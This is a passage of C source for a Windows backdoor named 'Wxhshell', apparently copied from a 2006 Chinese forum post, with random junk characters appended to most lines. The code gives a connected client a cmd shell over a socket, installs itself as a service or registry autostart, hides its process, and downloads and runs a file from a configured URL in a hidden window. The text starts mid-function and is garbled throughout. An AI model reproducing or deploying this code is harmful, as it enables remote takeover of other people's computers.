    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S:\a&+og  
    else { k|O?qE1hP  
    closesocket(wsh); pl-2O $  
    ExitThread(0); *@EItj`  
    } dBB;dN  
    break; _tl,-}~  
    } }I1A4=d  
  // 获取shell "0,d)L0,"  
  case 's': { \`nRgY SE  
    CmdShell(wsh); Q|!}&=  
    closesocket(wsh); vf |lF9@U  
    ExitThread(0); } Fw/WD  
    break; gK`o ;` ^  
  } Vy+%sG q"  
  // 退出 4 ^=qc99  
  case 'x': { |GDf<\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [(hB%x_"  
    CloseIt(wsh); lbRm(W(  
    break; GaD]qeS-K  
    } `u./2]n  
  // 离开 Ca&p;K9FR  
  case 'q': { 9PU9BYBG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]m>N!Iu  
    closesocket(wsh); v7V.,^6+  
    WSACleanup(); |Lq -vs?  
    exit(1); zoj3w|G  
    break; <Z$r\Huf  
        } i8]2y  
  } 3Zr'Mn  
  } qrWeV8ur+  
Z5oX "Yx  
  // 提示信息 .U66Uet>RX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `I\)Kk@*b9  
} RR%[]M#_T  
  } BQs~>}(V  
isdEs k#A.  
  return; Z[(V0/[]  
} 7 Q`'1oE?  
$IuN(#  
// shell模块句柄 EB/.M+~a  
int CmdShell(SOCKET sock) A7/ R5p  
{ CdTyUl  
STARTUPINFO si; v Ft]n  
ZeroMemory(&si,sizeof(si)); ~#doJ:^H3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -y@5% _-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uv:DO6 {  
PROCESS_INFORMATION ProcessInfo; 3\=iB&Gf|  
char cmdline[]="cmd"; c]pO'6]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BFCF+hU^6R  
  return 0; _li\b-  
} %(EUZu2  
i$Rlb5RU  
// 自身启动模式 SO}$96  
int StartFromService(void) ;w^-3 U7:  
{ @IB+@RmL  
typedef struct q}nL'KQ,n  
{ p6VHa$[  
  DWORD ExitStatus; !PaDq+fB  
  DWORD PebBaseAddress; 2EHeQ|#  
  DWORD AffinityMask; oic}Go  
  DWORD BasePriority; m4U7{sE  
  ULONG UniqueProcessId; G)I lkA@  
  ULONG InheritedFromUniqueProcessId; l c<&f  
}   PROCESS_BASIC_INFORMATION; N|pyp*8Z  
UF g N@  
PROCNTQSIP NtQueryInformationProcess; }]qx "  
5`ma#_zk|f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x J;DkPh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d/Sx+1 "{T  
1I'ep\`"X  
  HANDLE             hProcess; aS7[s6  
  PROCESS_BASIC_INFORMATION pbi; Ly0U')D:  
<lx~/3<m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [M^ur%H  
  if(NULL == hInst ) return 0; bt$+l[U^J  
/K#t$O4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aYjFRH`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U9om}WKO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,oW8im   
8gA:s`ofJ  
  if (!NtQueryInformationProcess) return 0; ng ZkBX  
IT`r&;5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %cDTy]ILu  
  if(!hProcess) return 0; )N) "O? W9  
I+) Acy;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E&?z-,-o@  
~(TS>ck@  
  CloseHandle(hProcess); _;A?w8z  
YWf w%p?n"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y=L9E?  
if(hProcess==NULL) return 0; H:~41f[  
Q~5!c#r  
HMODULE hMod; Cq7EdK;x  
char procName[255]; 'xO^2m+N;  
unsigned long cbNeeded; Eua\N<!aai  
n3-2;xuNKE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zuWfR&U|W  
D@Zb|EI%<  
  CloseHandle(hProcess); xK`.^W  
Unl6?_  
if(strstr(procName,"services")) return 1; // 以服务启动 _&/FO{F@m  
va(ZGGS]N  
  return 0; // 注册表启动 zU+` o?al  
} ^J DiI7  
k$V.hG|6M  
// 主模块 &ZjQa.-U>  
int StartWxhshell(LPSTR lpCmdLine) pg}9baW?  
{ /<(d.6T[}:  
  SOCKET wsl; ar0y8>]3  
BOOL val=TRUE; =h~\nTN  
  int port=0; MDfE(cn2q  
  struct sockaddr_in door; /Z:\=0`  
D4:c)}  
  if(wscfg.ws_autoins) Install(); w$JG:y#  
BF*]l8p  
port=atoi(lpCmdLine); { r9fKA  
W_zv"c  
if(port<=0) port=wscfg.ws_port; FW)G5^Tf  
49o5"M(  
  WSADATA data; Kn]c4h}@b5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ToUeXU [  
`Gl@?9,i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RH,1U3?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p,y(Fc~]g'  
  door.sin_family = AF_INET; R<}Yf[TQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |%F[.9Dp  
  door.sin_port = htons(port); U]!D=+  
t83n`LC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uvo2W!  
closesocket(wsl); C|kZT<,]  
return 1; MIcF "fB![  
} e1e2Wk  
wv 7j ES  
  if(listen(wsl,2) == INVALID_SOCKET) { 3>[_2}l  
closesocket(wsl); *$ZLu jy7  
return 1; L0_qHLY  
} yNk9KK)  
  Wxhshell(wsl); *D: wwJ  
  WSACleanup(); :les 3T}2  
q? x.P2  
return 0; +L4_]  
i,=CnZCh  
} c k=  
mQQ5>0^m  
// 以NT服务方式启动 :/HfMJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kan?2x  
{ $u"t/_%  
DWORD   status = 0; iJg3`1@j  
  DWORD   specificError = 0xfffffff; :Mss"L820  
wo;`D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @u./VK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d%$'Y|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y'NQt?h  
  serviceStatus.dwWin32ExitCode     = 0; Sm2 |I6  
  serviceStatus.dwServiceSpecificExitCode = 0; Nl_Sgyx,\  
  serviceStatus.dwCheckPoint       = 0; Xa._  
  serviceStatus.dwWaitHint       = 0; o0:[,ock  
&H!#jh\w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \JBJ$lBL  
  if (hServiceStatusHandle==0) return; Hu .e@7  
/J8'mCuC.  
status = GetLastError(); 4Fr0/="H  
  if (status!=NO_ERROR) &e\A v.n@-  
{ 66"-Xf~u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v)(tB7&`=  
    serviceStatus.dwCheckPoint       = 0; >$]SYF29  
    serviceStatus.dwWaitHint       = 0; 4_3 DQx9s  
    serviceStatus.dwWin32ExitCode     = status; y0Pr[XZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; gB!K{ Io'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m: 77pE&o  
    return; UE4zmIq  
  } h' OLj#H  
$x&\9CRM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |BD]K0  
  serviceStatus.dwCheckPoint       = 0; J[:3H6%`  
  serviceStatus.dwWaitHint       = 0; Gc) Zu`67  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F`9;s@V*  
} M2ig iR  
W{\){fr6O  
// 处理NT服务事件,比如:启动、停止 ;mV,r,\dH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v%|()Z0  
{ 2nOoG/6 E  
switch(fdwControl) *yGOm i  
{ >r7{e:~q  
case SERVICE_CONTROL_STOP: n237%LH[  
  serviceStatus.dwWin32ExitCode = 0; CErkmod{}e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J7R+|GTcx  
  serviceStatus.dwCheckPoint   = 0; * pN,@ZV$  
  serviceStatus.dwWaitHint     = 0; RltG/ZI  
  { XDvT#(Pu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C[$uf  
  } `jR;RczC  
  return; N{@kgc  
case SERVICE_CONTROL_PAUSE: p&=F:-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @b=b>V[d6  
  break; `vJ+ sRf  
case SERVICE_CONTROL_CONTINUE: CtwMMZXX3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F{ cKCqI?  
  break; %Uk]e5Hu  
case SERVICE_CONTROL_INTERROGATE: rIz"_r  
  break; zmI?p4,  
}; 8phc ekh+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C% <[mM  
} C[:Q?LE  
WY%LeC!t  
// 标准应用程序主函数 d;KrV=%30s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &UG7 g  
{ O?omL5  
372ewh3'  
// 获取操作系统版本 jyPY]r  
OsIsNt=GetOsVer(); \[&~.B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >a98 H4  
SE+K"faKQ  
  // 从命令行安装 : 0Nd4hA  
  if(strpbrk(lpCmdLine,"iI")) Install(); iulM8"P  
yKEE @@}\  
  // 下载执行文件 KYY~ YP  
if(wscfg.ws_downexe) { v7VJVLH,I7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u]P0:)tS.  
  WinExec(wscfg.ws_filenam,SW_HIDE); /ve8);cH\  
} H"8+[.xBh  
\HF h?3-g  
if(!OsIsNt) { k*\=IacX0  
// 如果时win9x,隐藏进程并且设置为注册表启动 =)C}u6  
HideProc(); W`] ,  
StartWxhshell(lpCmdLine); dX0A(6  
} G0$ 1"9u\w  
else Gnmj-'x  
  if(StartFromService()) 6C>x,kU  
  // 以服务方式启动 6o&{~SV3  
  StartServiceCtrlDispatcher(DispatchTable); a3]'%kKp  
else 9PEjV$0E2  
  // 普通方式启动 "(ehf|%>%  
  StartWxhshell(lpCmdLine); )K\w0sjR  
ZWW:-3  
return 0; =rS z>l  
}
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只看该作者 1 发表于: 2006-08-21
说实话啊````` ?%dsY\  
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